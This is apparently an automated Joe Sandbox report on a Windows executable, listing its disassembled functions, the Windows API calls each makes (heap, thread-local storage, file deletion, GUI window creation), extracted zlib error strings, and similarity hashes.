Part of subcall function 000000014000CCD8: HeapAlloc.KERNEL32 ref: 000000014000CD42
Part of subcall function 000000014000CCD8: HeapAlloc.KERNEL32 ref: 000000014000CDB2

Part of subcall function 000000014000D524: HeapFree.KERNEL32 ref: 000000014000D56E
Part of subcall function 000000014000D524: HeapFree.KERNEL32 ref: 000000014000D58F
Part of subcall function 000000014000D524: HeapFree.KERNEL32 ref: 000000014000D5A1

Part of subcall function 000000014000D444: HeapAlloc.KERNEL32 ref: 000000014000D476
Part of subcall function 000000014000D444: HeapAlloc.KERNEL32 ref: 000000014000D491

Part of subcall function 0000000140011D30: HeapAlloc.KERNEL32 ref: 0000000140011D82
Part of subcall function 0000000140011D30: memset.MSVCRT ref: 0000000140011DB6

Part of subcall function 00000001400120D0: HeapReAlloc.KERNEL32 ref: 0000000140012151
Part of subcall function 00000001400120D0: HeapFree.KERNEL32 ref: 0000000140012194

Part of subcall function 000000014000C4D0: RemoveVectoredExceptionHandler.KERNEL32 ref: 000000014000C8A5
Part of subcall function 000000014000C4D0: AddVectoredExceptionHandler.KERNEL32 ref: 000000014000C8C0

Part of subcall function 00000001400121C0: GetLastError.KERNEL32 ref: 00000001400121C4
Part of subcall function 00000001400121C0: TlsGetValue.KERNEL32 ref: 00000001400121D4
Part of subcall function 00000001400121C0: SetLastError.KERNEL32 ref: 00000001400121F1

Part of subcall function 0000000140012210: TlsGetValue.KERNEL32 ref: 0000000140012223
Part of subcall function 0000000140012210: HeapAlloc.KERNEL32 ref: 0000000140012266

HeapDestroy.KERNEL32 ref: 000000014000124C
ExitProcess.KERNEL32 ref: 0000000140001258

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: Heap$Alloc$Free$CreateErrorExceptionHandlerLastValueVectoredmemset$CommonControlsDestroyExitInitInitializeProcessRemove
String ID:
API String ID: 1207063833-0
Opcode ID: 06dbeff3fd86c6695b84df31992dbf02651ab7d441abcdbe23a8bedf592c97f1
Instruction ID: 5ef5c56730dbad915fac233b77092dd37bc53bc4ec3343fa221c1b372e2f6746
Opcode Fuzzy Hash: 06dbeff3fd86c6695b84df31992dbf02651ab7d441abcdbe23a8bedf592c97f1
Instruction Fuzzy Hash: 9D510AF0A11A4081FA03F7A3F8527E926559B9D7D0F808119BF1D1B3F3DD3A86598B22

Function 0000000140002930 Relevance: 3.0, APIs: 2, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000001400123E0: TlsGetValue.KERNEL32 ref: 00000001400123F8

RemoveDirectoryW.KERNEL32(00000000,?,0000000140003010), ref: 000000014000299C
RemoveDirectoryW.KERNEL32(?,0000000140003010), ref: 00000001400029A8

Part of subcall function 0000000140007170: WaitForSingleObject.KERNEL32 ref: 0000000140007187

Part of subcall function 000000014000720C: TerminateThread.KERNEL32 ref: 0000000140007223
Part of subcall function 000000014000720C: EnterCriticalSection.KERNEL32 ref: 0000000140007230

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: DirectoryRemove$CriticalEnterObjectSectionSingleTerminateThreadValueWait
String ID:
API String ID: 547990026-0
Opcode ID: de809ab9685b3f463e7d0b476c7a816dcb7d80807795b0b8c6412b9b34da734e
Instruction ID: 7a41e47de86a43ff34abb2becfbad555fd020f9bfb046cc2ed969e3c0c855493
Opcode Fuzzy Hash: de809ab9685b3f463e7d0b476c7a816dcb7d80807795b0b8c6412b9b34da734e
Instruction Fuzzy Hash: 0F01FFF5509B01E5F923BB63BC02BDA6B61E74E3E0F409405BB89131B3DE3DD9849610

Function 000000014000C4D0 Relevance: 3.0, APIs: 2, Instructions: 20
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RemoveVectoredExceptionHandler.KERNEL32 ref: 000000014000C8A5
AddVectoredExceptionHandler.KERNEL32 ref: 000000014000C8C0

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: ExceptionHandlerVectored$Remove
String ID:
API String ID: 3670940754-0
Opcode ID: 24e0dcc2aecd05812467741a67881873fe67c89a035702fa94287bcbf95b7463
Instruction ID: 54ed52b0d94e107c171475cce83a86a7777a808cb3853d4771323e3d57a36066
Opcode Fuzzy Hash: 24e0dcc2aecd05812467741a67881873fe67c89a035702fa94287bcbf95b7463
Instruction Fuzzy Hash: 8AF0ED7061370485FE5BDB93B8987F472A0AB4C7C0F184029BB49076719F3C88A48348

Function 000000014000DA6C Relevance: 3.0, APIs: 2, Instructions: 19
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFileAttributesW.KERNEL32 ref: 000000014000DA8C
DeleteFileW.KERNEL32 ref: 000000014000DA95

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: File$AttributesDelete
String ID:
API String ID: 2910425767-0
Opcode ID: 55319c824811060fb78973d35cd1766170822acc88010ad74a6f5b99716599dc
Instruction ID: adf2a79140fabccb03c20fd21f07aa3af446659453137af282c5310bbe8ffc9f
Opcode Fuzzy Hash: 55319c824811060fb78973d35cd1766170822acc88010ad74a6f5b99716599dc
Instruction Fuzzy Hash: 48E05BB471910195FB6BD7A778153F521419F8D7D1F184121AB42071B0EF3D44C55222

Function 0000000140012060 Relevance: 3.0, APIs: 2, Instructions: 11memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNEL32 ref: 000000014001206E
TlsAlloc.KERNEL32 ref: 000000014001207B

Part of subcall function 0000000140012BF0: HeapAlloc.KERNEL32 ref: 0000000140012C03
Part of subcall function 0000000140012BF0: HeapAlloc.KERNEL32 ref: 0000000140012C1D
Part of subcall function 0000000140012BF0: TlsSetValue.KERNEL32 ref: 0000000140012C50

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: AllocHeap$CreateValue
String ID:
API String ID: 493873155-0
Opcode ID: 9e0d5e764e4f7f0553988baf76ecb42ee58d508d85325be61ca51fd0dfb33207
Instruction ID: 66307e28580f649ba8418ae6b9c958ace7f1b69875393c61862d084d03b91818
Opcode Fuzzy Hash: 9e0d5e764e4f7f0553988baf76ecb42ee58d508d85325be61ca51fd0dfb33207
Instruction Fuzzy Hash: 9ED0C939A1175092EB46AB72AC5A3E922A0F75C3C1F901819B70907775DF7E81956A00

Function 00000001400120A0 Relevance: 3.0, APIs: 2, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

HeapDestroy.KERNEL32 ref: 00000001400120AB
TlsFree.KERNEL32 ref: 00000001400120B7

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: DestroyFreeHeap
String ID:
API String ID: 3293292866-0
Opcode ID: fbac162b21188d979bef22f7e680530c08c33df644155045fadef908a37ca857
Instruction ID: 71a10d3d5b3131d437c50284ad1bfb95f0c128dd24e11de8e9b8b88d768efc2d
Opcode Fuzzy Hash: fbac162b21188d979bef22f7e680530c08c33df644155045fadef908a37ca857
Instruction Fuzzy Hash: 4CC04C34611400D2E606EB13EC953A42362B79C7C5F801414E70E1B671CE394955E700

Function 0000000140011D30 Relevance: 2.6, APIs: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0000000140011EF4: HeapFree.KERNEL32 ref: 0000000140011F4D

HeapAlloc.KERNEL32 ref: 0000000140011D82
memset.MSVCRT ref: 0000000140011DB6

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: Heap$AllocFreememset
String ID:
API String ID: 3063399779-0
Opcode ID: edd241adf8553052784530922556135fb4408ba6f5c1699abdea0ec7c528a08c
Instruction ID: 5c5c97092251ccb6e51d21bc2c296289ab600fd53c4e4fe069e69402a2a58e68
Opcode Fuzzy Hash: edd241adf8553052784530922556135fb4408ba6f5c1699abdea0ec7c528a08c
Instruction Fuzzy Hash: F7213B32601B5086EA1ADB53BC41799A6A8FBC8FD0F498025AF584BB66DE38C852C340

Function 00000001400126D0 Relevance: 2.6, APIs: 2, Instructions: 50memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 00000001400126E2
HeapReAlloc.KERNEL32 ref: 0000000140012762

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: AllocHeapValue
String ID:
API String ID: 2362848668-0
Opcode ID: 5469319e057a9dc06414a52f1e9995086a4e4d267debc5f29e971f3f59de7243
Instruction ID: d5031950f6f24f379c2142eebe898701a91e7a03f91a2b9bee16bac6c279ab43
Opcode Fuzzy Hash: 5469319e057a9dc06414a52f1e9995086a4e4d267debc5f29e971f3f59de7243
Instruction Fuzzy Hash: 2D219676609B44C6CB20CF5AE49025AB7A0F7CCBA8F144216EB8D43B78DF79C651CB40

Function 000000014000DD30 Relevance: 2.5, APIs: 2, Instructions: 33memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32 ref: 000000014000DD88
CloseHandle.KERNEL32 ref: 000000014000DD91

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: CloseFreeHandleHeap
String ID:
API String ID: 1642312469-0
Opcode ID: 9545ea4844ef45e69c2d13a7e6758b9fd96cb3dc2a279fbef2982152c74e1bd8
Instruction ID: 5f93da8337f86b39695cad05c5aa1bbbcf0731d39a623fe836b1511b3ba38e21
Opcode Fuzzy Hash: 9545ea4844ef45e69c2d13a7e6758b9fd96cb3dc2a279fbef2982152c74e1bd8
Instruction Fuzzy Hash: AD01FB71614A4081EA56EBA7F5543E96391ABCDBE0F445216BB2E4B7F6DE38C4808740

Function 000000014000DDC0 Relevance: 1.5, APIs: 1, Instructions: 24fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000000014000DDED

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 286ead757777a38e56b81a59e831c417c9f8bfd861d199e35aced7c4af5c72c7
Instruction ID: 85eb21683fd68773ec3f68e7974a7ba45b0d300be2a951898864618d3eded784
Opcode Fuzzy Hash: 286ead757777a38e56b81a59e831c417c9f8bfd861d199e35aced7c4af5c72c7
Instruction Fuzzy Hash: D4F030B6624694CBCB10DF39E00166977B0F349B48F200416EF4847764DB36C992CF10

Function 0000000140010FFC Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

TlsFree.KERNEL32 ref: 0000000140011019

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: Free
String ID:
API String ID: 3978063606-0
Opcode ID: b403f4cd7e6b1ea5231d56a542ea7710078fdd6c3183311bb8828c9ff7a2dcca
Instruction ID: 3be53cbf4efc602c07d04e61f546686734bccd281855bf9d316eb8d3f4bb89d6
Opcode Fuzzy Hash: b403f4cd7e6b1ea5231d56a542ea7710078fdd6c3183311bb8828c9ff7a2dcca
Instruction Fuzzy Hash: E3D0E97091558096F66BA747EC857E422A2B7AC3C5F500419E3050B1B28ABE49DDEA15

Function 000000014000DC88 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNEL32 ref: 000000014000DC91

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: 93ac6205523c289b50a33b5b006d9a2b969cc6c5ca2cd3404325313acfcde68d
Instruction ID: d26b75307fbf4d2f65b3bf59e092d1c76b80437de534da0d48005b48f8adbafa
Opcode Fuzzy Hash: 93ac6205523c289b50a33b5b006d9a2b969cc6c5ca2cd3404325313acfcde68d
Instruction Fuzzy Hash: 74C09B74663002C1FA6A936328A97E451905B0C391F504511F7064117089BD14975530

Function 000000014000C980 Relevance: 1.5, APIs: 1, Instructions: 8memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNEL32 ref: 000000014000C98E

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 3010fbf55b21657f3d2da30d78e3fc06337a299998e6cc7e6108e39cc3db3a27
Instruction ID: 2c080862c33f0b7fb519294060e944d109da0d65108c87cfa11e07f441f421b0
Opcode Fuzzy Hash: 3010fbf55b21657f3d2da30d78e3fc06337a299998e6cc7e6108e39cc3db3a27
Instruction Fuzzy Hash: 40C02B34712690C2E3492323AC033991090F34C3C0FD02018F60102770CE3D80A70B00

Function 000000014000C6B0 Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

RemoveVectoredExceptionHandler.KERNEL32 ref: 000000014000C6C0

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: ExceptionHandlerRemoveVectored
String ID:
API String ID: 1340492425-0
Opcode ID: d65e708e3fd015015f13c97e564679718939e1a537f1569a86aba6eef632a387
Instruction ID: 43e8ab96d0ef540813763e0684213002212cef3b8ee59004a75f8fb70944dace
Opcode Fuzzy Hash: d65e708e3fd015015f13c97e564679718939e1a537f1569a86aba6eef632a387
Instruction Fuzzy Hash: 30C08C78B03B0085FA4AEB03B8883A422606B8C7C1F800008E60E037328E3C04A54780

Non-executed Functions

Function 000000014000B758 Relevance: 72.0, APIs: 35, Strings: 6, Instructions: 272windowmemoryregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 000000014000B5D8: wcslen.MSVCRT ref: 000000014000B5EA
Part of subcall function 000000014000B5D8: HeapAlloc.KERNEL32 ref: 000000014000B600

GetStockObject.GDI32 ref: 000000014000B7B6
LoadIconW.USER32 ref: 000000014000B7F2
LoadCursorW.USER32 ref: 000000014000B803
RegisterClassExW.USER32 ref: 000000014000B82D
IsWindowEnabled.USER32 ref: 000000014000B859
EnableWindow.USER32 ref: 000000014000B86C
GetSystemMetrics.USER32 ref: 000000014000B88B
GetSystemMetrics.USER32 ref: 000000014000B89B
CreateWindowExW.USER32 ref: 000000014000B8F0
SetWindowLongPtrW.USER32 ref: 000000014000B90E
CreateWindowExW.USER32 ref: 000000014000B95E
SendMessageW.USER32 ref: 000000014000B97C
CreateWindowExW.USER32 ref: 000000014000B9D9
SendMessageW.USER32 ref: 000000014000B9FA
SetFocus.USER32 ref: 000000014000BA07
SendMessageW.USER32 ref: 000000014000BA22
wcslen.MSVCRT ref: 000000014000BA2B
wcslen.MSVCRT ref: 000000014000BA36
SendMessageW.USER32 ref: 000000014000BA4D
CreateWindowExW.USER32 ref: 000000014000BAA9
SendMessageW.USER32 ref: 000000014000BAC8
CreateAcceleratorTableW.USER32 ref: 000000014000BAED
SetForegroundWindow.USER32 ref: 000000014000BAF9
BringWindowToTop.USER32 ref: 000000014000BB02
GetMessageW.USER32 ref: 000000014000BB16
TranslateAcceleratorW.USER32 ref: 000000014000BB2A
TranslateMessage.USER32 ref: 000000014000BB38
DispatchMessageW.USER32 ref: 000000014000BB42
DestroyAcceleratorTable.USER32 ref: 000000014000BB59
wcslen.MSVCRT ref: 000000014000BB68
wcscpy.MSVCRT ref: 000000014000BB7E
HeapFree.KERNEL32 ref: 000000014000BB90
HeapFree.KERNEL32 ref: 000000014000BBB5
HeapFree.KERNEL32 ref: 000000014000BBCC
HeapFree.KERNEL32 ref: 000000014000BBE3

Strings

BUTTON, xrefs: 000000014000BA8A
C, xrefs: 000000014000BA99
STATIC, xrefs: 000000014000B944
n, xrefs: 000000014000BAA1
P, xrefs: 000000014000BA7B
EDIT, xrefs: 000000014000B9BF

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: Window$Message$CreateHeapSend$Freewcslen$Accelerator$LoadMetricsSystemTableTranslate$AllocBringClassCursorDestroyDispatchEnableEnabledFocusForegroundIconLongObjectRegisterStockwcscpy
String ID: BUTTON$C$EDIT$P$STATIC$n
API String ID: 9748049-1690119102
Opcode ID: c01de26334065d18653497f5b45086f7b5809085fdd55da687512dab041c8858
Instruction ID: f11a45e4f50ece19de517c67b98e9e797584e7b20c87343cc1d5b6865565d8d0
Opcode Fuzzy Hash: c01de26334065d18653497f5b45086f7b5809085fdd55da687512dab041c8858
Instruction Fuzzy Hash: 4DD134B5605B4086EB12DF62F8447AA77A5FB8CBC8F444129EB4A47B79DF7DC4098B00

Function 0000000140013798 Relevance: 12.0, Strings: 9, Instructions: 740COMMON

Download Yara Rule

Strings

invalid bit length repeat, xrefs: 0000000140013B73
invalid distance too far back, xrefs: 0000000140014126
invalid literal/length code, xrefs: 0000000140013E85
too many length or distance symbols, xrefs: 000000014001391D
invalid code -- missing end-of-block, xrefs: 0000000140013B5B
invalid literal/lengths set, xrefs: 0000000140013BDF
invalid distance code, xrefs: 000000014001406D
invalid code lengths set, xrefs: 0000000140013905
invalid distances set, xrefs: 0000000140013C4B

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID:
String ID: invalid bit length repeat$invalid code -- missing end-of-block$invalid code lengths set$invalid distance code$invalid distance too far back$invalid distances set$invalid literal/length code$invalid literal/lengths set$too many length or distance symbols
API String ID: 0-2665694366
Opcode ID: 67ed6bfcabc3f0c0ebd438a55ac1e776d09ba86ed25bc9a2d2f07d297f59d07e
Instruction ID: 94762fe19e52a1e76ee8dc23a2b1d827446cec64643fb03410c83a9544901dbd
Opcode Fuzzy Hash: 67ed6bfcabc3f0c0ebd438a55ac1e776d09ba86ed25bc9a2d2f07d297f59d07e
Instruction Fuzzy Hash: 9452D2726106608BE72ACF26D49CBED37E5F3487C4F414129EB868B7A4E77AC845CB50

Function 0000000140013021 Relevance: 7.9, APIs: 1, Strings: 4, Instructions: 381COMMON

Download Yara Rule

Strings

header crc mismatch, xrefs: 000000014001348B
, xrefs: 00000001400130EB
unknown compression method, xrefs: 0000000140012F79
unknown header flags set, xrefs: 000000014001305E

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID:
String ID: $header crc mismatch$unknown compression method$unknown header flags set
API String ID: 0-4074041902
Opcode ID: 63d14d99d44cc3d14528aba0519c32bd687ffcf0a398d873a188d18be175c855
Instruction ID: dac418b812a3de41c7c7b5072b67fa498c356b49e4a588b682982c80ed946ec6
Opcode Fuzzy Hash: 63d14d99d44cc3d14528aba0519c32bd687ffcf0a398d873a188d18be175c855
Instruction Fuzzy Hash: 4DF19C726007508BEB268F1AC48CBAE3BE6F7487C8F064519EF8A4B7A4DB76C555C740

Function 0000000140015F30 Relevance: 4.1, Strings: 3, Instructions: 374COMMON

Download Yara Rule

Strings

invalid distance too far back, xrefs: 0000000140016392
invalid literal/length code, xrefs: 0000000140016360
invalid distance code, xrefs: 0000000140016375

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID:
String ID: invalid distance code$invalid distance too far back$invalid literal/length code
API String ID: 0-3255898291
Opcode ID: 1e45c625052aaed0026cb6e9d9d155a9553cb1c11e4068b20b0b3ed65267e05e
Instruction ID: 36a5a67a6b198623208e03fcdf44eed6b32d9d42851390dc4c2f02830f1e2460
Opcode Fuzzy Hash: 1e45c625052aaed0026cb6e9d9d155a9553cb1c11e4068b20b0b3ed65267e05e
Instruction Fuzzy Hash: 17D11733618AD08BD71A8F7AD8443AD7BA1F3597C1F048116FB968B7D1DA3ACA49C700

Function 0000000140012E97 Relevance: 4.0, Strings: 3, Instructions: 212COMMON

Download Yara Rule

Strings

unknown compression method, xrefs: 0000000140012F79
invalid window size, xrefs: 0000000140012FF1
incorrect header check, xrefs: 0000000140013009

Memory Dump Source

